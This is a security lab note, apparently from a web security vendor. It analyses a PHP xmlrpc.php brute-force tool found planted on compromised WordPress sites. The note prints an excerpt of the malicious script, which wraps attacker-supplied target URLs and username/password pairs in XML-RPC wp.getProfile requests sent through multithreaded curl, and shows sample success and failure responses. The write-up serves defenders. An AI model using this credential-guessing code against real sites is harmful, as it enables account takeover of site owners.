xmlrpc.php Brute Force Tool

Labs Note

We discovered a xmlrpc.php brute-force tool in a malicious PHP script that appears to have been uploaded months ago after a vulnerable GDPR plugin exploit:

$data = $_POST['data'];
$parameter = $_POST['parameter'];
$domains = preg_split('/\s*(\r\n|\n|\r)\s*/', trim($data), NULL, PREG_SPLIT_NO_EMPTY);
$param = trim($parameter);
$user_data = explode(":", $param);
$request_body =    "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>
<methodCall>
  <methodName>wp.getProfile</methodName>
  <params>
   <param><value>9999</value></param>
   <param><value>$user_data[0]</value></param>
   <param><value>$user_data[1]</value></param>
  </params>
 </methodCall>";
$urls[$request_count]["url"] = "http://" . $domain . "/xmlrpc.php";
$urls[$request_count]["request_body"] = $request_body;
$urls[$request_count]["param"] = $param;
$request_count++;
$multi_results = multi_thread_request($urls); // a multithreaded curl function that submits the bruteforce or dictionary attempt

We mentioned in a GDPR post that we were seeing default user_role values being changed along with user registration, but it looks like hackers were also wanting to perform bruteforce/dictionary amplification attacks targeting the WordPress file xmlrpc.php on their victims. They are able to perform these attacks from compromised websites after they upload a file with code similar to the above example, then they can submit the target URLs and a list of username/passwords through the defined $_POST parameters (e.g data and parameter). After the data has been submitted to the PHP file through the POST request, it is crafted into a multi-threaded curl request which will include the URL, username, and password values from the POST request in a new WordPress XML-RPC wp.getProfile request.

If any of the submitted logins are successful in the submitted XML-RPC request, then we will receive all of the WordPress user information regarding that specific user:

<member><name>user_id</name><value><string>2</string></value></member>
<member><name>username</name><value><string>wp.service.controller</string></value></member>

<member><name>first_name</name><value><string></string></value></member>
  <member><name>last_name</name><value><string></string></value></member>
 <member><name>registered</name><value><dateTime.iso8601>00000000T00:00:00Z</dateTime.iso8601></value></member>
 <member><name>bio</name><value><string></string></value></member>
 <member><name>email</name><value><string>test@example.com</string></value></member>

Otherwise, it will return a 403 Forbidden-style fault error if authenticating with an existing WordPress user on the targets installation was unsuccessful:

       <name>faultCode</name>
       <value><int>403</int></value>
     </member>
     <member>
       <name>faultString</name>
       <value><string>Incorrect username or password.</string></value>
You May Also Like